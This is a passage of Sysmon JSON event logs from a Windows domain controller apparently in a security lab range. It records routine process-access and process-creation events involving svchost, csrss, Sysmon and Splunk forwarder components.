C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7960,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7961,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7962,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4319-5F2D-0000-001084BD0F00}\r\nTargetProcessId: 3468\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4319-5F2D-0000-001084BD0F00}","TargetProcessId":"3468","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7963,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.338\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4319-5F2D-0000-001084BD0F00}\r\nTargetProcessId: 3468\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.338","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4319-5F2D-0000-001084BD0F00}","TargetProcessId":"3468","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7964,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.604\r\nSourceProcessGUID: {90617006-4319-5F2D-0000-001084BD0F00}\r\nSourceProcessId: 3468\r\nSourceThreadId: 2928\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.604","SourceProcessGUID":"{90617006-4319-5F2D-0000-001084BD0F00}","SourceProcessId":"3468","SourceThreadId":"2928","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":7965,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.089\r\nProcessGuid: {90617006-431A-5F2D-0000-00106BC10F00}\r\nProcessId: 4788\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.089","ProcessGuid":"{90617006-431A-5F2D-0000-00106BC10F00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7966,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.088\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-431A-5F2D-0000-00106BC10F00}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.088","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-431A-5F2D-0000-00106BC10F00}","TargetProcessId":"4788","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7967,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431A-5F2D-0000-00106BC10F00}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431A-5F2D-0000-00106BC10F00}","TargetProcessId":"4788","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7968,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 